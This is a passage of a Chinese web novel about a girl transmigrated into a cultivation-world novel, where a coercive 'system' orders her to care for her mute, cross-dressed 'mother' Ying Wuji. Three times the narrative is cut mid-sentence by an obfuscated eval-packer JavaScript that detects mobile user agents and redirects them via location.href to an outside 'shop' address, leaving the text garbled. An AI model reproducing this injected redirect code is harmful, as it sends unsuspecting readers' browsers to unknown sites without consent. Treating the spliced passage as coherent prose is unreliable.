她抬头看了看太阳,已经是快落山了,这说明她在这山林里至少被困了两个小时。如果等到天黑就麻烦了,山林中多野兽,更何况这是个修仙世界,她还是个手无缚鸡之力的凡人,若是遇到妖怪和恶鬼就糟糕了。 必须快点解开棋局。 系统突然道:“不过娘亲应该会发现你不见了,会来找你的吧?” 闻言,柳沅愣了一下,冷笑一声:“你觉得一个正常人会不顾自身安全来找一个才认识了几天的陌生人吗?” 更何况她那位娘亲看着就弱不禁风的,还成天找不着人影,估计发现她不见了都是个难题。 发了一会儿呆,柳沅突然问道:“你既然是负责世界剧情任务的,那这本书有没有类似的情节,最后是怎么解决的?” 系统结巴了一下,没说话。 “我……我可能需要找找。” 闻言,柳沅叹了一口气:“现在最重要的是我们必须出去,系统,成败在此一举了。” 系统不知道听没听进去,短暂的寂静之后,熟悉的机械音再度在柳沅耳边响起:“找到一段相似剧情,是反派在山林中遇见的一种妖怪。” “名为执棋,此妖分为阴阳两体,一黑一白。” 闻言,柳沅眼睛一亮,忙道:“对了对了,应该就是这种妖,然后呢,这个……反派是怎么解决的?” 系统结巴了一下,有点为难。 “你快说啊。”柳沅着急道。 “他……”,系统的声音猛然变得低沉,“他把自己的手腕割开,放血引来其它妖怪,在妖怪的厮杀中逃了出去。” 林中陷入一片寂静,柳沅表情一片空白,良久,咽了咽口水。 “这反派解决的方法还挺别致的啊,哈哈哈。”她尬笑几声,下意识握住了手中温热的棋子。 呸,这样冒险的方法她才不会干,必须得找找别的办法。柳沅闭上眼睛,缓缓回想着自己初见那两道身影时的场景。 初时,那棋盘上,好像画着些什么…… 有了! 柳沅猛地想起来,在她莫名奇妙被那阵笑声引诱来时,那棋盘上画着八卦图样。另外—— 她环顾四周,发现棋盘的四个角正好对着四棵不同的树。现在是秋日,但这四棵树俨然呈现出春,夏,秋,冬四种形态,配合棋盘中央的天元。 正好是五行。 对,五行! 柳沅忙把手中的棋子看了看,发现每颗棋子握在手中的感觉都不同。 她上大学的时候对玄学很好奇,曾经选修过一节专门讲五行的课,当时虽然上课老师讲的十分枯燥,她基本都在睡觉,但一些基本的知识她还是知道的。 “木生火,火生土,土生金,金生水,水生木。”她暗自念叨着,把白色的棋子按五行相生的顺序,在棋盘的第一,二,三,四,五列摆好。 棋子完全落到棋盘的那一瞬间,棋盘中央的天元裂了一道缝,隐隐还有点地动山摇的感觉,像是什么东西要从里面出来了。 无论这要出来的东西是好是坏,都说明柳沅目前做的事情产生了作用。她的心稍稍往肚子里落了落,又在象征木的棋子上方,按照五行相克的方法摆好了黑色的棋子。 当最后一颗棋子落下时,棋盘的表面突然开裂,她连忙往旁边退去。 只听得两声狂笑,那一黑一白两道身影突然出现,狞笑着往天空飞去。 “这困扰了我们这么多年的难题,竟然被一个小丫头解开了,哈哈哈,真是天助我也!” 随着这声呐喊而来的,还有一阵怪风,带着风雨欲来的味道,将柳沅破旧的衣摆吹的不住地晃动。 她躲在一棵枯树后面,看似冷静,实则咆哮道:“怎么这两个东西会出现,我现在根本打不过妖怪啊!” 系统只说自己再去找找资料,便没声了。 天象骤变,原本还算明亮的林间彻底黑了下来,远处的云端传来轰隆隆的雷响。 要下雨了。 柳沅莫名地有些胸闷,咬咬牙转身,却撞上了一团黑色的暗影。 是那个黑影。 “你帮我们解决了困扰多年的难题,助我们飞升,我们自然要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758350|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢你啊。”黑影的声音是矫揉造作的亲热,柳沅下意识想跑,却发现自己后退的路被白影拦住了。 两个妖怪一前一后堵住了她所有的退路,让她心脏重重地往下一沉。 “我们妖的报恩方式和常人不同。”白影咯咯笑着,亲昵地用枯瘦如树枝的手拂过柳沅的脸,在她冷静的双眼前停下。 “你们是想吃掉我吧。”柳沅直视着它丑陋的,满是疤痕的眼睛,嗤笑一声。 “帮我们解开难题的人,只有化为我们身体的一部分,才叫做死得其所。”黑影舔了舔牙齿,张开血盆大口,笑道。 “被我们吃了你也能享受成仙的好处,否则就将在百年后化为一堆粉末。”白影也笑道。 眼看这两东西靠自己越来越近,那散发着臭气的涎水越流越多,柳沅反而不慌张了。系统不知道哪里去了,靠不住,现在唯一能靠的只有她自己。 突然,天边闪过一道闪电,把昏暗的天照了个透亮,也照亮了两只妖脸上的恐惧。柳沅趁其不备,往身后的树上猛地窜去。等那两只妖反应过来,她已经爬上了树顶。 “你以为你爬到顶上我们就会放过你吗?”黑影的声音里带着玩味。 柳沅淡淡地看他一眼,突然伸直了身体,从头上拔下用来固定头发的发簪,正好是银的。 那原本盘旋在天边迟迟不肯落下的闪电,突然急速而来。那两道身影还没来得及躲避,就被雷劈中,变成了两团焦炭。 而柳沅紧闭着双眼,安然无恙地落到了地上。 想象中被雷劈中的疼痛没有到来,柳沅睁开眼睛,发现自己正躲在应无霁怀中,毫发无伤。 她这位孱弱的娘亲踉跄了一下,轻轻拍了拍自己被闪电劈焦的肩膀,吐出一口血来。 这可把柳沅吓坏了,她忙把应无霁扶住,惊慌道:“你没事吧?” 应无霁摇摇头,扶着她的手重新站稳,慢步朝着那两团焦炭走去。那湖蓝色的长袍被风吹得鼓鼓的,衬得应无霁的身体越发瘦弱。 柳沅突然有点想拉住他的冲动。 她晃晃脑袋,把这种奇怪的想法清出脑海,专心观察他要做些什么。 只见应无霁抖了抖袖子,拿出那根眼熟的树枝,朝着地面轻轻一点,那两团黑灰便化作了两团透明的光点,悬浮在他掌心。 他转过身,朝柳沅走来。 柳沅连忙移开视线,装作没看到他的样子,直到树枝轻轻戳了戳她的袖子。 “给我的?”她指着自己,又指了指他掌心的光点,夸张地问道。 应无霁点点头,示意她伸出手。柳沅试探性地伸出掌心,那两团光点跳跃着,飞快融入了她的掌心,随之而来的是一种充盈。 她感觉自己全身好像都飘了起来,简直是神清气爽。 剩余的能量聚集成一团光点,最后缓缓降落在她手心,柳沅凝神望去,发现是一块晶莹剔透的玉石。 什么花纹都没有,是一块透明的玉石。 袖子又被树枝戳了戳,柳沅忙把手掌一合,抬头望去。 应无霁正在看她。 5. 天降娘亲(5) 柳沅发现应无霁的双眼皮有好多层,右眼的双眼皮褶皱尤其长。这衬得他本就多情的桃花眼更加含情脉脉,垂下来看人的时候,有种别样的温柔。 那黑中透蓝的瞳孔微微缩了缩,倒映出她的影子,夺人心魄。 她不自在地移开视线,抓住了伸到手边的树枝。 应无霁这才收回视线,拉着她往回走。 林间很安静,偶尔有树叶飘下来,落在应无霁的肩头。又因为走路的动作掉落在地,被柳沅一脚踩碎。树枝交错的影子一会儿跳到他的侧脸,一会儿又跳到她的手边。柳沅无聊,故意踩碎从应无霁肩膀上落下的树叶,又故意在他身后制造着烦人的影子。 在这无聊且寂静的路程中,这样的恶作剧格外有趣。而应无霁也丝毫没有发觉自己的的身后有个张牙舞爪的影子,只是自顾自往前走。 又是黄昏了,村子里的小路上满是人,应无霁突然加快了速度,带着柳沅匆匆回了家。 刚回家应无霁就急匆匆进了房间,柳沅放下装的满满当当的背篓,疲惫地揉了揉太阳穴。 这时,系统突然出声道:“我就说娘亲会来找你吧。” “你怎么不说我机智聪明破了那棋局,免得被困死呢?”柳沅翻了个白眼,反驳道。 系统叹了一口气:“你们毕竟是母女,总这么陌生也不太好,虽说你的主要任务是撮合男主和娘亲,但还是需要你和娘亲培养感情。” 闻言,柳沅吃力地把满是柴火的背篓搬进厨房,期间喘气道:“人和人之间的感情都是看缘分,怎么可能那么轻松就培养出来?” “呵呵,”系统冷笑一声,接着道:“在这段等待娘亲伤势痊愈的时间里是最好提升娘亲好感度的,好感度提升了,任务也会变得好做。” “那好感度提升的是我和她之间的,难道能撮合她和那个没下落的男主?”柳沅反问道。 被她这话一堵,系统沉默了。柳沅站在原地等了一会儿,再没听到系统的声音后,确认它已经走了,这才提步往应无霁紧闭的房门走去。 刚才应无霁拉着她躲开天雷的时候,她看见他背后好像又透出了血色。距离那天被捅过了不到一天,伤应该还没好吧? 柳沅思绪万千地走到门前,却迟迟不敢敲门。直到门被应无霁打开。 她猝不及防和他对视上,脑子一抽,突然喊了一声娘亲。 应无霁的眼睛突然瞪大了,然后缓慢地把柳沅从头看到脚,最后微微张开了嘴,好像要说些什么。 天,他终于要说话了吗?快说,快说。 柳沅紧张地握紧了拳头,在心里不停说道。 可应无霁只是短暂地愣了愣,随后便装作一副没事人的样子,自顾自绕过柳沅往厨房的方向走。 她提步追了上去。 柳沅反复在头脑里搜刮着看过的穿书小说中女主和娘亲相处的情节,却发现从来没有一本小说里的娘亲像应无霁一样,不喜欢说话,整天淡淡的。 别管了,死马当活马医吧。柳沅在心里给自己打气,随后挤出一抹笑,哐的一下撞上了门框。 应无霁听到响声,疑惑地转身,正好看见柳沅直愣愣往门上撞的这一幕。他很不理解,但很有礼貌地假装没看见,重新转过身去洗手里的菜。 柳沅尴尬地无地自容,在原地冷静了一会儿,又屁颠屁颠地凑到应无霁手边,笑道:“总是麻烦你做饭,这次让我来下厨吧。” 闻言,应无霁拿着菜叶的手一顿,随后跟没听见似的,继续洗菜。 又被无视了…… 柳沅在心里暗骂一句,但还是笑着帮他拿东西,生火。 见柳沅干的起劲,好像真的会做饭的样子,应无霁暗地里松了一口气。 “我真的会做饭,你今天……进山救了我,我也想谢谢你。”她抬起头,十分认真地望着应无霁道。 应无霁眨眨眼,似乎真的在思考这样可不可行。 柳沅看有戏,忙挤过来,抢过他手里的青菜,道:“今天让你试试我的手艺。” “娘亲。” 她这一声喊的很短促,带着欲盖弥彰的尴尬。应无霁愣了愣,有点怀疑自己是不是听错了,想去看柳沅的眼睛,却发现她死死地低着头,自己只能看见她的发顶。 他有点懵地按了按头顶上翘起来的呆毛,迟疑地往外走了一步。 而也正是因为他远离了柳沅,她突然猛吸一口气,像在水中溺了很久。 应无霁看见她耳尖红了。 头顶上的呆毛晃了晃,他又不解地看了柳沅好几眼,最终还是出去了。 秋日的白天总是很短暂,等烟囱里的烟渐渐平息时,天边已经爬满了颜色鲜亮的云霞。应无霁静静地坐在石凳上,撑着脑袋望着云发呆。 这幅画面落在柳沅眼底,更觉得像画。 她小心地端着装满菜的盘子,一溜烟地全摆在了应无霁面前。 “我……我不知道你喜欢吃什么,就做了点青菜和肉汤,你别嫌弃就好。”她挠挠头,笑道。 刚才翻找食材的时候,柳沅才发现厨房里几乎什么都没有。应无霁的家和她认知中的家不一样,没有一点生活的痕迹。 凡人总是要吃喝拉撒的,厨房里总该备点日常用的菜,调味料什么的,可应无霁像下凡的仙女,不食人间烟火,除了炒菜要用的油和盐,还有一些少量的蔬菜以及一点点的肉外,什么都没有。 所以那天他给柳沅做的那么丰盛的一顿饭是凭空出现的? 想到这里,柳沅望着应无霁的眼神越发复杂,好似脑补了一场苦情大戏。被爱人和亲人抛弃的花季少女,只能在穷苦的小村庄中度过一生。 不,不行,她猛地摇头,应无霁和她都不能过这样的日子。 柳沅在这边琢磨二人的美好未来,应无霁对着面前这几盘菜,却是无从下筷。 他咽了咽口水,实在顶不住柳沅亮闪闪的眼睛,飞速夹了一块青菜,塞进了嘴里。 “怎么样?”柳沅期待地问道。 应无霁几乎是嚼都没嚼就咽了下去,面无表情地点了点头。 柳沅开心地弯了弯眼睛,拿起筷子就夹了一大块青菜,塞进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758351|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴里,嚼的津津有味:“味道有点淡,但是感觉还挺不错,我第一次炒青菜,不错不错。” 应无霁默默端起碗,不停地往嘴里扒饭。 柳沅见他一直不夹菜,担心问道:“你别光吃饭啊,多吃点菜。不用担心吃完了,我回家的时候看见路边有好多这种菜,我明天再摘点回来。” 句话说完,还没等应无霁有什么反应,她自己突然愣住了。 过了一会儿,应无霁吃完了,见柳沅一副呆愣的样子,敲了敲她面前的桌子。柳沅这才回过神来。 应无霁淡淡地看她一眼,指了指天色,示意她回房间。 “为什么这么早就要回去?”她不解地问道。 应无霁没回答她,自顾自地收拾好碗筷,有点严肃地看了她一眼。 许久没声音的系统也开始催促她回房间,给出的理由是晚上的这个世界并不安全。柳沅一想也是,毕竟这是个修仙世界,晚上会有很多妖鬼出没。 她站起来,忍不住看了一眼正在往厨房走的应无霁,才转身回房。 又过了一阵,应无霁来敲门,指了指厨房的方向,示意热水烧好了,让她早点洗漱睡觉。柳沅照样做了,披着头发躺在床上,瞪大了眼睛瞧天花板,却是怎么都睡不着。 火烧般颜色的霞光透过窗纸,落在脚边,柳沅回想着白天在林子里遇见的事情,越想越古怪。 且不说她差点被那妖怪害死,怎么会有如此诡异的成仙方式,更何况妖怎么能成为神仙呢? 她感觉自己对这个世界还是知之甚少,正打算明天出去打听一下消息,突然听到一阵莫名其妙的谈话声。 细细密密,模模糊糊。 像什么东西闷在布里发出的咯吱声。 她即刻起身,贴着墙壁细细地听着。那声音断断续续,一阵接着一阵的,听着似乎是从应无霁的房间传来的, 整个院子里只有她和应无霁两个人,怎么会多出旁人的声音呢? 柳沅有种不详的预感,蹑手蹑脚地出了房间,往应无霁的房间走去。 此时霞光到了最盛,整个天空被火红的颜色填满,红灿灿的,煞是好看。可柳沅无心赏美景,因为她发现,离应无霁房间越近,那古怪的声音越清晰。 正当她小心翼翼地贴在门上,聚精会神地去听那声响时,脑子突然蹦出一声任务提示音:系统任务触发,安慰娘亲,让她走出被抛弃的阴影。 柳沅本就神经紧张,生怕被发现,系统这突然的一下吓的她往前重重一扑,差点撞到门上发出声音。 “你给我安静点!”她小声警告系统,拍了拍自己怦怦直跳的心口,深吸一口气。 “你是说……”她有点迟疑地抬起头,盯着近在咫尺的这扇房门,问道:“是娘亲她在哭?” 系统只是重复道:“请尽快完成任务,安慰娘亲。” 翻来覆去总是这几句话,柳沅叹了一口气,还是敲响了门。 很快开了,露出应无霁红红的双眼,和沾着泪珠的脸。 柳沅的表情在看到他的一瞬间,变得空白。 6. 天降娘亲(6) 他真的……哭了? 柳沅一时分不清这到底是臆想,还是现实。 这么冷淡的人,竟然也是会哭的吗? 应无霁的眼尾微微耷拉着,又长又卷的睫毛上挂着将落不落的泪珠,仿佛井中易碎的明月,黑中透蓝的瞳孔起了雾,凉凉的,又闷闷的。 柳沅一阵恍惚,不知怎的脚下一软,就往前扑去。 应无霁下意识往后退了一步,就是这短短一步的距离,完美避开了她摔下的身体。 柳沅脸朝地摔了个彻底。 偏偏她心里还想着难过独自流泪的应无霁,狼狈地爬起来,抬头望着他,担心道:“你……你没事吧?” 从应无霁的视角来看,柳沅姿势别扭地卡在门框处,像一只扭曲的蜘蛛,而这只蜘蛛的鼻孔中,还缓缓流出两道鲜亮的血迹。 实在是滑稽。 他忍不住笑了出来。虽然极其短暂,但还是被柳沅看到了。 她缓缓瞪大了眼睛,从一开始的不可置信,到最后的恼羞成怒。 似乎还嫌她不够生气,耳边传来任务完成的提示音:“恭喜宿主,顺利完成任务,成功安慰娘亲。” 去你的,她暗骂一声,一瘸一拐地从地上爬起来,又半途体力不支摔了下去。这一下摔的她是眼冒金星,头晕眼花。 应无霁又笑了,这回柳沅是用耳朵听到了。 “恭喜宿主,现在娘亲的情绪状态很好,请再接再厉。“系统又蹦了出来。 柳沅面色铁青,低下头去,死死抠着门槛。 “你的任务就是要我用丑态把她逗笑吗?死系统?”她咬牙切齿道。 系统憋笑道:“并未规定任务形式,是宿主你自己的选择。还有,我们是合作关系,请宿主不要用话语侮辱系统。” 柳沅冷笑几声,趴在地上不说话了。 而应无霁也没有扶她,仿佛门口根本没有人,就那么往外走去。 他因为走路扬起的衣摆擦过柳沅的脸颊,像一击火辣辣的耳光,昭示着她的自作多情。 柳沅气的鼻血又流了一大堆,想马上爬起来把应无霁按在地上拳打脚踢。 踢到她满意为止。 “警告,请不要对娘亲有如此危险的想法,否则将受到系统的电击惩罚。本系统主张美好的母女感情,带宿主感受温馨的亲情,请不要破坏系统的任务设置。” 呵呵。 柳沅吃力地从地上爬起来,在系统难听的警告声中,悄悄跟上了应无霁。 她这位娘亲,行为不正常,脑子不正常。明明告诉她晚上不要出去,自己却出去。 肯定有猫腻。 天边的云烧的越发红火,金灿灿,红彤彤的,把应无霁那身湖蓝色的长袍都染成了粉色。他披散的长发随着夜风飞舞,在空气中留下一道接着一道光痕。 柳沅望着那道背影出了一会儿神,突然,眼前一空。 “怎么回事?”她打了个激灵,使劲往前瞅瞅却没看到应无霁。 随后,她的视线缓缓下移,发现应无霁啪嗒一下倒在了地上,姿势和她刚刚卡在门框里的一模一样。 风水轮流转。 柳沅噗嗤一声笑了出来,得意洋洋地走到他身边,拖长声音道:“哎呀,地上很凉吧?肯定很不舒服,不知道刚才是谁,眼睛瞎了一样,没看到我摔在地上。” “那我也没看到喽。” 等了一会儿,应无霁还是维持着摔倒在地的动作,动都没动,柳沅觉察出一丝不对劲来,仔细看了看他,发现他背上的伤口裂开了,正不停地往外涌着鲜血。 此时,系统的警告声再度在脑海里响起:“请立即救治娘亲,否则将受到系统抹杀。” 柳沅本来想扶起应无霁的手唰的一下收了回去。 “你让我救他?”她抱臂,斜眼看了一眼应无霁,问道。 系统依旧是那副冷淡的语气:“是,保证娘亲的生命安全是你必须做的事情。” 柳沅冷笑,把手一摊:“我没办法,生死有命富贵在天,你祈祷祈祷他熬过去吧。” 系统没说话,柳沅还特地等了一会儿,发现脑子里不再出现机械音后,还感觉到很震惊。 按照她这系统的死尿性,不应该立即威胁她完成任务吗? 柳沅望着地上一动不动的应无霁,试探性地伸出脚,踩了踩他的衣摆边边。 没有出现系统的警告。 难道系统真的转性了?还是出故障了? 还没等柳沅想出这个问题的答案,天空突然传来一声巨响,她惊慌失措地抬头,只见满目苍白,世界在一瞬间化为白光。 砰—— 她还维持着向天看的动作,被雷劈成了一团焦黑。 “警告,请宿主尽快救治娘亲,否则将继续受到电击惩罚。” 柳沅张开嘴,吐出一团浓郁的黑烟,直愣愣地倒了下去,正好压在应无霁身上。 劈里啪啦又是一道闪电,她连滚带爬地往应无霁背上爬,企图用他来躲避雷劈。可这雷好像长了眼睛,就对着她劈。 就算应无霁和她贴的很紧,变成焦炭的依旧只有柳沅一人。 “警告……” 柳沅顶着一头被劈成鸡窝的头发,忍无可忍地大喊一声:“我知道了,我救他,我马上救,你别让那雷劈我了!” 果然,在她说出这句话后,那突如其来的雷电彻底消失了。而柳沅只能忍住满心的愤怒和不平,把倒在地上的应无霁扶了起来。 “宿主不用排斥和娘亲的相处,你们的命运是绑在一起的,都是一家人,何苦为难自己呢?” 系统苦口婆心地劝说道。 柳沅呵呵冷笑一声,吐出嘴巴里的灰,嘲讽道:“我认人家当娘亲,人家装看不见我。你喜欢热脸贴冷屁股吗?” 说着,她已经把应无霁扶到了屋子里,随意地把他放在床上,忍不住踹了他一脚。柳沅本来心里有气,想着出出气随便踹踹,应该也踹不到他身上去。 谁料应无霁突然动了一下,整个人往旁边一歪,正好迎上了柳沅这一踢。 脑海里再度塞满系统刺耳的警告,柳沅捂着耳朵,腿一软,摔到了地上。 “去你的狗屁任务,老娘不想做了!”她怒不可遏地朝着天花板一声大喊,紧接着,一股熟悉的空间波动在她眼前晃了晃。 又是一阵熟悉的白光。 柳沅就在满心的愤怒中再度被雷劈了,失去了意识。 在闭上眼睛之前,她迷迷糊糊又听到了那阵奇怪的低语声,似乎是从房间里的某个角落传出来的。 管它什么声音呢,系统,你给我……等着…… 柳沅彻底晕了过去。 她是被一阵木头敲击的声音吵醒的。 身下是柔软的床铺,窗户开着,微微发亮的天色明晃晃地出现在眼前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758352|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是白天了? 柳沅疑惑地眨了眨眼睛,逐渐将视线从窗外收回,然后身体猛地一僵。 她和坐在房间中央桌子旁的应无霁对上了视线。 他左手拿着一个木制的碗,右手拿着一根捣药杆,忙忙碌碌地鼓捣着什么东西。衣服上的血迹已经消失了,只余披散的长发随着风轻轻地擦过肩膀。 他很安静地望着柳沅,像一尊沉默的雕塑。 这副样子落在柳沅眼中,就是赤裸裸的挑衅。 昨天被雷劈,最后又晕过去的记忆尽数复苏,柳沅忍无可忍地白了应无霁一眼,别过头去。 那阵木头敲击的声音突然停了,随后就是一阵轻快的脚步声。应无霁走到床边,停在柳沅面前。 手背被什么东西戳了戳,柳沅当作没感觉到,不语。 虽然她摆出一副拒绝和应无霁交流的姿态,但还是悄悄竖起了耳朵,听着身后的动静。 没有脚步声,那说明应无霁还站在她床前,那可万万不能回头。 她这样心想。 耳边突然传来一阵破空声,柳沅猛地转头,头顶被什么东西狠狠敲了一下,痛的她大叫一声。 应无霁拿着桃木枝,沉默地望着她。 “你打我干什么?!”柳沅愤怒道。 应无霁依旧不说话,只是静静地盯着她。 自从她穿过来,这位她名义上的娘亲就从来没和她说过话。柳沅一开始想过可能是应无霁性子恬静,不善于与人接触,于是一直在耐心等待,希望他能主动和自己说几句话。 没想到都到这种地步了,他都不愿意和她说一句话。 柳沅气的胸膛起伏,猛地一伸手,抓住了应无霁手边的桃木枝,大声质问道:“你为什么总是不对我说话?我自认为并没有得罪你吧?” 她很生气,也有点委屈,因此话尾带了点微微的颤抖,应无霁听见了,迷茫地望着她,似乎对她突如其来的情绪爆发很不解。 “算了,”柳沅撇了撇嘴,有点自暴自弃地垂下头,“你只是小说里的人物,被设定好的性格,我又和你置什么气呢?” 说完,她平复了一会儿心情,正打算下床,却发现应无霁挡在了自己身前。 他突然弯下腰,那双雾蒙蒙的眼睛一动不动地盯着她,眼神清澈而纯洁。 柳沅感觉自己的手被另一双手包了起来,应无霁把她的手翻了过来,在手心上写着什么。 等等,柳沅混沌的脑子里突然灵光一闪。 按正常人的认知来说,就算应无霁的任务设定多么恬静内向,就算他是一本古早虐文小说的女主,绝对不可能完全不说话吧。 再结合这本书虐心虐身的设定,他不说话,极有可能是因为他说不了话! 柳沅想到这里的一瞬间,应无霁也放开了她的手。很神奇的是,虽然柳沅并不懂古代的文字,但记住了应无霁在她手心写下的字。 是五个字。 她抬起头,正好对上应无霁的眼睛。虽然仍然是淡淡的,但品出了不一样的味道。 似乎带着一些歉意。 她一愣,后知后觉明白他写在自己手心的字是……我说不…… 我说不了话。 恰在此时,系统说道:“恭喜宿主触发隐藏剧情,发现娘亲藏在人后的一面。爱人的背叛和家族的不理解,让这个刚刚及笄的少女遭受了重大打击。” 7. 天降娘亲(7) “她暂时失去了说话的能力。” 系统这句话落下的一瞬间,应无霁的手松开,柳沅的手垂了下来。她有一瞬间的出神,直到手背重新变得冰冷。 应无霁直起身体,依旧是那副淡然的神态,可柳沅的心境不同于前,竟然生起了一股奇怪的怜悯。 原来是说不出话来吗? 她突然有点愧疚,为长久以来对应无霁的误解。 但应无霁似乎对这些都不在意,只是静静观察着她,发现她好像没什么事之后,紧绷的唇角很明显放松了下来。 房间里的气氛一下从剑拔弩张变得尴尬起来,柳沅掀开被子下床,望着他欲言又止。 “是我误解你了……我……”柳沅刚开口,应无霁突然吐出一口血,直愣愣地朝地面倒去。 警告声在同时响起,柳沅脑袋一片空白。 眼前的景象被无限地放慢,血珠在空中碰撞,或破碎或飞溅,应无霁的脸色惨白,眼神也有一瞬间的失神。 柳沅突然恐慌起来,想伸手接住应无霁,却好像有一股无名的力量遏制住了她的行动。 系统冰冷的机械音响起:“警告,警告,娘亲性命危在旦夕,宿主并未认真完成任务,将触发系统惩罚,电击惩罚准备中,倒计时,十,九,八……” 系统无情的倒计时像一根针,一下接着一下挑拨着柳沅的神经。她只是愣愣的,愣愣地望着应无霁。 血色将他惨白的脸衬托的如同暗夜中夺人心魄的吸血鬼,那双总是雾蒙蒙的眼睛因为疼痛微微泛起水光,像西湖雨天时晃起的浪。 应无霁疼的眉毛都皱成了一团,却伸出手指着什么桌子那边,一直指着。 柳沅往桌子的方向看去。在那木碗旁边,一碗热气腾腾的药放在桌面上。 那是,给她的药吗? 应无霁痛的弯下了腰,与此同时,系统的倒计时到了最后一秒。 柳沅在满世界的警告声中再度被雷劈中,直愣愣倒在了地上。在意识迷蒙中,她又听到一阵奇怪的声音。 这次不是模糊的谈话声,而是女人的哭声。 细碎的几乎不可闻。 柳沅是被冷醒的。 白光从窗外透出来,她猛地打了个寒颤,才发现又是清晨。记得上次醒来也是清晨,也就是说,她昏迷了一天一夜? 柳沅忙下床,发现自己仍在应无霁的房间,身上还穿着那件黑糊糊的衣服,上面的灰不停地往下掉,她走一步掉一堆。 房间中央的桌子上搁着一碗药,还冒着热气,应该是应无霁留下的。柳沅端起碗一饮而尽,抱着碗决定出去找应无霁。 外面传来一阵阵吵闹,柳沅悄悄往门外探头,发现院子里挤满了一群穿着布衣的大娘,正叽叽喳喳说着什么。 粗略看来,挤在院中的大娘应该有十多个,而被她们拥在中央的长发女子,正是应无霁。 他依旧是一副无喜无悲的表情,只有眉毛微微皱着,配上他小小的脸和精致的眉眼,有种美人多愁的惊艳感。 柳沅一边往自己房间赶,一边忍不住看了他好几眼。 这几天和应无霁相处下来,她已经有点能从他细微的表情变化中感知到他的部分情绪,譬如现在,他眉毛皱着,就说明他有点不耐烦,但不好直接表露出来。 柳沅从房间里搜到了一件道袍,手忙脚乱地换上,又草草整理了下乱糟糟的头发和脸,这才光明正大地踏出房门。 此时应无霁的眉头已经皱成了一团,浑身散发出生人勿近的疏离感,可大娘们依旧热情,不停拉着他说话。 柳沅有点想笑,凑近了些,才听清她们在说些什么。 “哎,我见俏儿姑娘长得这般美丽,年龄也正好,想着给她说说亲,你们怎么都过来凑热闹。”一个包着头巾的中年女子说道。 “哟,就你想给俏儿姑娘说亲,就不允许我们过来问问?我看你是收了隔壁村那跛脚老光棍的钱,想来哄骗俏儿。” 说话的女人声音洪亮,还带着肢体动作,柳沅一眼就认出她是那天给自己指路的大娘,不免多看了她几眼。 这个女人的装束和其他人不同,她穿的是粉色的衣裙,在一众的灰色中格外显眼。虽然人到中年,这粉色也未显庸俗,反而衬得她年轻了好几分。 那被说的大娘咕哝了几声,底气不足道:“你们围在这里不都是想找俏儿姑娘说亲,咱们谁都别说谁!” 穿着粉色衣裙的女人闻言,冷笑一声:“至少我们是诚心为俏儿姑娘好,给她介绍的都是些青年才俊,富贵书香人家,哪像你,满嘴谎话,生怕俏儿不上你的当!” 这话刚说完,人群中爆发出一阵笑声,大家都附和着,言语中讥讽着头巾女人,臊的她怒骂一声,匆匆跑出了院子。 见状,那粉衣女人露出得意的笑,对着应无霁柔声道:“这次给你介绍的,是镇上的一家书香世家的公子。” 柳沅正看的入迷,突然反应过来应无霁是她娘亲,而且她这位娘亲还处在没生下她的时间里,若是真让她寻得了另一位人作夫君…… “不行!”柳沅怒吼一声,突然从人群中跳了出来。 那粉衣女人被吓了一大跳,捂着胸口向后一倒,口中嚷着:“哎哟,骇死我了,这又是哪里蹦出来的人哦?” 说完,她定睛一看,突然道:“哎哟,这不是俏儿前几天带回来的姑娘吗?你叫什么,几岁呀?” 眼看说亲的话题就要落在自己头上,柳沅脸色一僵,下意识想再缩回人群中,但在看到应无霁迷惑的表情之后,猛然抬起了头。 没办法了,为了她能顺利生下来,娘亲,对不住了。 柳沅闭了闭眼,视死如归地看了应无霁一眼。 真的不是她要故意破坏娘亲的姻缘,是她迫不得已啊! 她在心里呐喊,面上却是一副羞涩的姿态,轻声道:“我是他的妹妹,我叫柳沅,今年十六了。” 她记得没错的话,古代女子应该是十五岁及笄,她编造的这个年龄应该是刚刚好。 那人听了,眼睛猛地一亮,爽快地笑道:“那感情正好,先帮你说了,再帮你姐姐说。我姓张,你喊我张婶就行了。” “咱们村里不比城里,这么一个漂亮的小姑娘,在这么偏的地方住着,又无依无靠的,总会遭坏人惦记。于是我就想着给她找个好人家,有个好归宿。可无论我怎么说,她总是不肯。”张大娘无奈道。 柳沅很喜欢张大娘这副爽快的样子,忙道:“没事的,现在我们两人住在一起也有个照应,您不用担心。” “话是这么说,但女子在这个世道终究是不好过啊。”张大娘叹了一口气,继续道:“不过像刚才那个人说的就不靠谱,成亲的前提当然是对方是个好人,双方有感情。她那样就把俏儿当成自己做人情的工具了,我就看不惯这种人。” 其他人也都附和起来。 